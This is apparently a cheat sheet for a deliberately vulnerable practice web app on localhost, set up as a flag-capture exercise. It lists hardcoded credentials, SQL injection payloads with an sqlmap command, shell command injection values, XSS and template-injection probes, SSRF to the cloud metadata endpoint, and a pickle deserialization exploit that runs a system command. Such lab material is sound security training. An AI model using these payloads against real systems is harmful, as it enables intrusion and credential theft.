Hardcoded credentials: admin
/ adminpass
POST /login username=admin password=adminpass
Unsanitized SQL string construction.
?id=1 OR 1=1 ?id=1 UNION SELECT 1, sqlite_version(), 3
sqlmap -u "http://localhost:5000/user?id=1" --batch --risk=3 --level=5
Unescaped shell execution.
?host=127.0.0.1; ls ?host=127.0.0.1 && whoami
User input rendered without sanitization.
<script>alert('XSS')</script>
{{7*7}} => 49 {{config.items()}}
URL fetch with no validation.
?url=http://127.0.0.1:5000 ?url=http://169.254.169.254/latest/meta-data/
Loads uploaded pickled file directly.
import pickle, os class Exploit: def __reduce__(self): return (os.system, ('touch /tmp/pwned',)) pickle.dump(Exploit(), open("exploit.pkl", "wb"))
Submit flags discovered through exploitation.
Route | Discovery Method |
---|---|
/secret_admin | SSRF or forced browsing |
.hidden_assets/robots.txt | URL probing |